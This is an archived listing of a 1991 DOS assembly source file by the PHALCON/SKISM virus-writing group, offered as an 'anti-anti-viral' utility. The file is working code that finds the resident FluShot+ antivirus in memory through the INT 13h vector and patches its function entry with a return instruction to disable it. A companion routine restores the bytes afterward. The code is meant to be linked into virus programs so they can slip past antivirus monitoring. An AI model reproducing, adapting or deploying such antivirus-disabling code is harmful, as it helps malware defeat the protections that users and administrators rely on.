home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-F.ZIP / FLU_NOT.ASM < prev    next >
Assembly Source File  |  1991-11-27  |  3KB  |  92 lines

  1. ; FLU_NOT.ASM ■ Routines to be linked into your FluShot+ resistant
  2. ;             ■ programs.
  3. ; Version 1.0 ■ 27 November 1991
  4. ;
  5. ; Written by Dark Angel and Demogorgon of PHALCON/SKISM Co-op
  6. ; Look for more Anti-Anti-Viral Utilities from us!
  7. ;
  8. ; Notes:
  9. ;  This is different from the C routines.  Call Flu_Not to disable and
  10. ;  Flu_Restore to reenable (at the end of your program, of course).  Try
  11. ;  not to call Flu_Not more than once in your program.  To disable again,
  12. ;  simply use:
  13. ;    les si, dword ptr flu_off
  14. ;    mov es:[si], 593Ch
  15. ;  (actually, this probably won't work in the .ASM file, but you can write
  16. ;   the routine yourself and put it in this file.)
  17.  
  18.         Public  Flu_Not, Flu_Restore
  19. CODE    SEGMENT BYTE PUBLIC  'CODE'
  20.         ASSUME  CS:CODE
  21.         org     100h
  22.  
  23. flu_off dd      0
  24. flu_seg dd      0
  25.  
  26. Flu_Not Proc    Near
  27.         push    ax
  28.         push    bx
  29.         push    bp
  30.         mov     word ptr cs:[flu_seg], 0
  31.  
  32.         mov     ax, 0FF0Fh                      ; Check if FluShot+ resident
  33.         int     21h
  34.         cmp     ax, 0101h
  35.         jnz     No_puny_flus                    ; If not, no work to be done
  36. Kill_Puny_Flus:                                 ; Otherwise, find the
  37.         push    es                              ; FluShot+ segment
  38.  
  39.         xor     ax, ax
  40.         mov     es, ax
  41.         mov     bx, 004Eh                       ; Get int 13h handler's
  42.         mov     ax, es:[bx]                     ;  segment
  43.         mov     es, ax                          ; ES is now FSEG - YES!
  44.  
  45.         mov     bp, 1000h                       ; Start at FSEG:1000
  46. Froopy_Loopy:
  47.         cmp     word ptr es:[bp], 593Ch         ; Try to find marker bytes
  48.         jz      Happy_Loop                      ; NOTE: No need to set
  49.         inc     bp                              ;  counter because FluShot+
  50.         jmp     Froopy_Loopy                    ;  is guaranteed to be in
  51. Happy_Loop:                                     ;  memory by the INT 21h call
  52.         cmp     word ptr es:[bp], 'RP'          ; Look backwards for the
  53.         jz      Found_It_Here                   ;  beginning of the function
  54.         dec     bp
  55.         jmp     Happy_Loop
  56. ; If you are paranoid, you can add other checks, such as
  57. ; (in Froopy_Loopy) cmp bp, 5000h, jz No_Puny_Flus and
  58. ; (in Happy_Loop) cmp bp, 1000h, jz No_Puny_Flus, but there
  59. ; is really no need.
  60. Found_It_Here:
  61.         mov     word ptr es:[bp], 0C3F8h        ; Key to everything - replace
  62.         mov     word ptr cs:[flu_seg], es       ;  function's starting bytes
  63.         mov     word ptr cs:[flu_off], bp       ; Save the flu_offset
  64.         pop     es
  65. No_Puny_Flus:
  66.         pop     bp
  67.         pop     bx
  68.         pop     ax
  69.         ret
  70. Flu_Not Endp
  71.  
  72. Flu_Restore Proc Near
  73.         push    ax
  74.         push    bx
  75.         push    es
  76.         les     bx, dword ptr cs:[offset flu_off]      ; Load ES:BX with Seg:Off
  77.         mov     ax, es
  78.         or      ax, ax
  79.         jz      No_FluShot
  80.  
  81.         mov     word ptr es:[bx], 5250h
  82.  
  83. No_FluShot:
  84.         pop     es
  85.         pop     bx
  86.         pop     ax
  87.         ret
  88. Flu_Restore Endp
  89.  
  90. CODE    ENDS
  91.         END
  92.